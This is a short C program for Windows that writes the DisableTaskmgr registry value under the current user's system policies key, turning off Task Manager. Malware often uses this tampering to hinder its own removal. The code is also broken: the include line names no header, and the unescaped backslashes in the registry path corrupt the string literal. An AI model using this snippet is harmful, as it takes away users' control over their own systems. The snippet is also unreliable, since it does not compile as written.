include

int main()
{
DWORD dwVal = 1;

HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\Microsoft\Windows\CurrentVersion\Policies\System\", 0, KEY_ALL_ACCESS, &hKey);
RegSetValueEx (hKey, L"DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
RegCloseKey(hKey);
return 0;
}